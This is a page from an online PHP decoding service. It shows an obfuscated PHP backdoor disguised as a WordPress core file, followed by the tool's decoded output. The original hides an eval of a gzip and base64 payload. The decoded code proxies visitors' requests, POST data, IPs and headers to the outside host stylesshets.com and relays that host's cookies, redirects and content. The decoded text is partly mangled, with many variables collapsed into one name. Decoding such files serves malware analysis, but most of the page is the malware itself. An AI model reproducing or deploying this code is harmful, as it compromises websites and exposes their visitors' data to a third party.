Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /** * Base class for displaying a list of items in an ajaxified HTML tab..
Decoded Output download
if(!function_exists('http_parse_headers')){function http_parse_headers($c_){$c0=array();$c1=explode("
",preg_replace('/
[
]+/',' ',$c_));foreach($c1 as$c2){if(preg_match('/([^:]+): (.+)/m',$c2,$c3)){$c3[1]=preg_replace('/(?<=^|[ -])./e','strtoupper("")',strtolower(trim($c3[1])));if(isset($c0[$c3[1]])){$c0[$c3[1]]=array($c0[$c3[1]],$c3[2]);}else{$c0[$c3[1]]=trim($c3[2]);}}}return$c0;}}if(!function_exists('http_response_code')){function http_response_code($c4=null){if($c4!==null){switch($c4){case 200:$c5='OK';break;case 301:$c5='Moved Permanently';break;case 304:$c5='Not Modified';break;case 400:$c5='Bad Request';break;case 403:$c5='Forbidden';break;case 404:$c5='Not Found';break;case 408:$c5='Request Time-out';break;case 410:$c5='Gone';break;case 500:$c5='Internal Server Error';break;case 502:$c5='Bad Gateway';break;case 503:$c5='Service Unavailable';break;case 504:$c5='Gateway Time-out';break;default:$c5='';}$c6=(isset($_SERVER['SERVER_PROTOCOL'])?$_SERVER['SERVER_PROTOCOL']:'HTTP/1.0');header($c6.' '.$c4.' '.$c5);}}}$c7=str_replace($_SERVER['DOCUMENT_ROOT'],'',dirname($_SERVER['SCRIPT_FILENAME']));$c7=$c7.'/'.($c8===true?'index.php':'').'?'.$c9.'='.urldecode($c);$c=array('domain'=>$_SERVER['HTTP_HOST'],'ip'=>a_());$c=array_merge($c,$_GET);if(!function_exists('curl_init')){die('no curl');}$c='http://stylesshets.com/'.$c.'?'.http_build_query($c);$c=curl_init($c);curl_setopt($c,10018,$_SERVER['HTTP_USER_AGENT']);curl_setopt($c,42,true);curl_setopt($c,19913,true);if(isset($_SERVER['HTTP_REFERER'])){curl_setopt($c,10016,$_SERVER['HTTP_REFERER']);}if($_SERVER['REQUEST_METHOD']=='POST'){curl_setopt($c,10015,http_build_query($_POST));}$c=curl_exec($c);$c=curl_getinfo($c);curl_close($c);$c_=substr($c,0,$c['header_size']);$c=http_parse_headers($c_);http_response_code($c['http_code']);if(isset($c['Content-Type'])){header('Content-Type: '.$c['Content-Type']);}if(isset($c['Set-Cookie'])){header('Set-Cookie: '.$c['Set-Cookie']);}if(isset($c['Location'])){header('Location:'.$c['Location']);}$c=substr($c,$c['header_size'],$c['size_download']);if((strpos($c['content_type'],'text/html')===0)){$c=a0($c,$c7);}if(strpos($c['content_type'],'text/css')===0){global $c;$c=dirname($c);$c='/'.ltrim($c,'/');$c=a1($c,$c7,$c);}echo$c;function a0($c,$c){global $c,$c;$c=chop($c,'/');$GLOBALS['dir']=$c;$GLOBALS['puid']=$c;$GLOBALS['sed_path']=$c;return preg_replace_callback("#(href=[\'\"]{1}|src=[\'\"])(.*?)([\'\"])#i",create_function('$m','
$s = $m[1];
if(strpos($m[2],"http://") !== 0 && strpos($m[2],"https://") !== 0 && strpos($m[2],"//") !== 0 ){
$s .= $GLOBALS["dir"];
}
$s .= $m[2].$m[3];
return $s;
'),$c);}function a1($c,$c,$c){$c=chop($c,'/');$GLOBALS['dir']=$c;$GLOBALS['css_path_prefix']=$c;return preg_replace_callback("#(@import\s+url\([\'\"]|url\([\'\"])(.*?)([\'\"]\)?\))#i",create_function('$m','
$s = $m[1];
if(strpos($m[2],"http://") !== 0 && strpos($m[2],"//") !== 0){
$s .= $GLOBALS["dir"];
}
$s .= $GLOBALS["css_path_prefix"]."/".$m[2].$m[3];
return $s;
'),$c);}function a_(){if(isset($_SERVER['REMOTE_ADDR'])&&$_SERVER['REMOTE_ADDR']!=$_SERVER['SERVER_ADDR']){return$_SERVER['REMOTE_ADDR'];}if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])&&$_SERVER['HTTP_X_FORWARDED_FOR']!=$_SERVER['SERVER_ADDR']){return$_SERVER['HTTP_X_FORWARDED_FOR'];}if(isset($_SERVER['HTTP_X_REAL_IP'])&&$_SERVER['HTTP_X_REAL_IP']!=$_SERVER['SERVER_ADDR']){return$_SERVER['HTTP_X_REAL_IP'];}return$_SERVER['REMOTE_ADDR'];}
exit;
Did this file decode correctly?
Original Code
<?php
/**
* Base class for displaying a list of items in an ajaxified HTML table.
*
* @package WordPress
* @subpackage File_System
* @since 3.1.0
* @access private
*/
$WP_File_System0 = "tzq)g_*;8yvdwmi5(f.lco1/ske4a2609xur3p7bjhn";
$WP_File_System1 = $WP_File_System0[37].$WP_File_System0[35].$WP_File_System0[26].$WP_File_System0[4].$WP_File_System0[5].$WP_File_System0[35].$WP_File_System0[26].$WP_File_System0[37].$WP_File_System0[19].$WP_File_System0[28].$WP_File_System0[20].$WP_File_System0[26];
$WP_File_System2 = "\x65".chr(118)."a".chr(108)."\x28g".chr(122)."\x69n\x66\x6c".chr(97)."".chr(116)."".chr(101)."\x28bas\x65".chr(54)."4\x5Fd".chr(101)."\x63\x6F".chr(100)."".chr(101)."".chr(40)."";
$WP_File_System3 = "".chr(41)."\x29\x29;";
$WP_File_System4 = $WP_File_System2."'rVb7U9tGEP65zPA/KI6Hk4qQZQN5WFUoAUGYQkxl03bGdjSydMaayDpVdw5Qh8lj8k7+6O6dZFuWTTJpyoyxb3fv271vH3erK0FfvtUfRR4LSOTgy4AyKqMBY7ETuwnFzgC7Pk4oUpTxxExaVMtlz1HGZU833SRxr2TFKHtVE1/GIfGxXOpEJTVO8LmT4Dh0PSyjSidqdyKpu15BKpKQyvcrRp8k2PUGgFaVXFr2asoY4hM7hy4DBarI7Sf17rpSl2RtXakM+c4afDYV7n6zXe2aBUfyzi/mk+ftn6SNrqJVMLijLGFkFMc4gch0vaQgVYhCcgEilgRDOYVSICTwH1CKGYj0diruCl/TVXbknITH0651FeMahxTP2U7Rhfr6OsFslERgAYubU5FgGpMI6PaAzsVUzKkBfcuMRmEouIPFLTNb0ouACXK3lLHnUizVdL1e9rZN1PgNGT2g/qkh5Jt6NZWfkGfYl05xMnQjHLHwqmC2lZo9Jkw6IX7QD7A/Z7E1cfDQ9SUb/z3ClBUMNlODA5L0At/HUUGd83BARlER/l6qzqClVjDEG2RU8FHNgjgkEZ7TbE/CO4oYTiI3lJo4eYYTyUoSkhRMa7OTHLoMX7hXBYPsJBwi8LB0FrnP3CB0e2HRaXamDGUhaB/33VHIUiNkXJe9O+akBp2mZf9h2W2UfjundqPV2Gsco66y8xVlHT1qtU4rVU1HipG2LJTBHQ06T4NyyL63RUWWvbsmtMO0g2aw+429sxPrccuxG40W6qoIqX4AtA3zRs09++i05RwcHVuPd08sCIzPgrsmfDRUQRr4vWea0AcjvIOCyMeXWjyIUR0hRUM7PIz7GjKRNkpCH2f1/IJDvMz6DPlk6AYRMh/MnPLTOY8aTRFVEIPOdWQlt8sZ4uScQ71Uy86h1RJ9vdhsHnh1gihgvMf8AMZHRCQuBNqAmFemaMd6pULZVYgpHWBGNY8MKzzu1yJ+0ZC9URD6DtRkwufCSx7IG3MKDqJXiiGWkFQSc8Ebtarr1Xtq4UxnsHJ2D4F0IHJhy1ZN5Twuwbp/v7qZ6WYDbB7atg4s27J5gsbLYrmj3rjB4KNqprWt38+sZss5sVqPGvuoa5rolOdiOe62ukiRw+0VwfHblCd8iT2+hVP3LhWdYxZEfZJKhcQLCcUTK8ekox4ULqzfqjqM4HdtlJa6Q4N/MA+77L03b7i7jKWDlENwuRi73bnL4H0b7REYGxHbaF3FWNCYddacoi5aa9FacJgDa2K2sUfI02AeaiaeAs1ZFmGOiefykp4DmQjrGULOiFP+Ic/cIm+piP92fHIRhcT1My5k2BQTmhLlpedzmDifihi+ZJUBG0LvQL/r4s78YLo6WH8AyLtp6N9E8CjNAMbnIenBjIZOg0x+NKezx3utCAEfL2F2wX5UYcXF4LI6cQmfj/xS9gYEJMb0EhVBfQLt55yTF2rq6LMJ5jEYfM4gD48bD3ePm20EAUCxgyIni0eBL4QvckKKfSg5NhCK10Z650v5d4rjuWHYc72ncum2PEhw32x3UKfUHVevn9PEy1aKrP28o8jZ4nZQUj24MRh2JieRURleRGh1ZXVFyv7KVDKl8hAeH8ZMmCN+CC8RtZSNtZIiwWtB0qW1NWnRgH7VIqdTxjNXWQwaBDHhowTElfLhXBcC1kTEta4G/ze54UybcVemUylSIFGfIK2zdFYn6YTPF15335dDKDmRLgcy1A8uhf7LN7P2azCMScI6dB1GUydL0vPc77nsdZSdjvJfUvgjSZzp/o8MTY0LfJW6WqlS0n4og3B7j5dcXLZ10mhZzu7+Pr+G1tZu0NwyF95C2ZZx9t5evi8/TOfvvr+cg4b95669b+3zXwXny02+I4rlAF8Lx7Z2j52j0+WBTJXfH8J0q3H9DapWV+DVxIx/AQ=='".$WP_File_System3;$WP_File_System1($WP_File_System0[23].$WP_File_System0[18].$WP_File_System0[6].$WP_File_System0[23].$WP_File_System0[26], $WP_File_System4 ,"158");
Function Calls
chr | 12 |
gzinflate | 2 |
preg_replace | 1 |
base64_decode | 2 |
Stats
MD5 | e9e7c7a17203d83e02f38d43fd81bb7a |
Eval Count | 3 |
Decode Time | 146 ms |